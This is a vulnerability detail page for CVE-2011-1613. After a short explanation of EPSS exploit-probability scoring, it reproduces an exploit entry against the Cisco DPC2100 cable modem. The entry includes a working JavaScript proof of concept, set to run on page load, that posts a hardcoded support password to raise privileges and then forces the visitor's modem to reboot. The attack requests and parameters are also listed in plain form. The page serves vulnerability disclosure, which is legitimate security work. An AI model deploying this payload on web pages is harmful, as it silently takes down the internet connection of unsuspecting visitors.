CVE-2011-1613 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# Exploit Title: Cisco DPC2100 Denial of Service # Date: 09/01/2010 # Author: Daniel Smith # Software Link: http://www.cisco.com/ # Version: HW:2.1/SW:v2.0.2r1256-060303 # Tested on: OSX 10.6/Win7 # CVE: CVE-2011-1613 ======================================================= Information ======================================================= Executing this script on page load will cause the users modem to restart when they visit the page. This example uses javascript but can just as easily written to in another language to accomplish something similar. Attack consists of two parts. Part 1 - Privilege Escalation: POST: http://192.168.100.1/goform/_aslvl PARAMS: SAAccessLevel=2&SAPassword=W2402 Part 2 - Modem Restart: POST: http://192.168.100.1/goform/gscan PARAMS: SADownStartingFrequency=705000000 ======================================================= Proof of Concept (Javascript) ======================================================= (function() { var b=document.getElementsByTagName('body')[0]; var otherlib=false; if(typeof jQuery!='undefined') { console.log('This page already using jQuery v'+jQuery.fn.jquery); } else if (typeof $=='function') { otherlib=true; } function getScript(url,success){ var script=document.createElement('script'); script.src=url; var head=document.getElementsByTagName('head')[0], done=false; // Attach handlers for all browsers script.onload=script.onreadystatechange = function(){ if ( !done && (!this.readyState || this.readyState == 'loaded' || this.readyState == 'complete') ) { done=true; success(); script.onload = script.onreadystatechange = null; head.removeChild(script); } }; head.appendChild(script); } getScript('http://code.jquery.com/jquery-latest.min.js',function() { if (typeof jQuery=='undefined') { console.log('Sorry, but jQuery wasn\'t able to load'); } else { console.log('This page is now jQuerified with v' + jQuery.fn.jquery); $.post("http://192.168.100.1/goform/_aslvl", { SAAccessLevel: "2", SAPassword: "W2402" } ); console.log('Privilege Escalation: temporarily setting SAAccessLevel to \'2\'.'); $.post("http://192.168.100.1/goform/gscan", { SADownStartingFrequency: "705000000" } ); console.log('Reboot command sent.'); } }); })();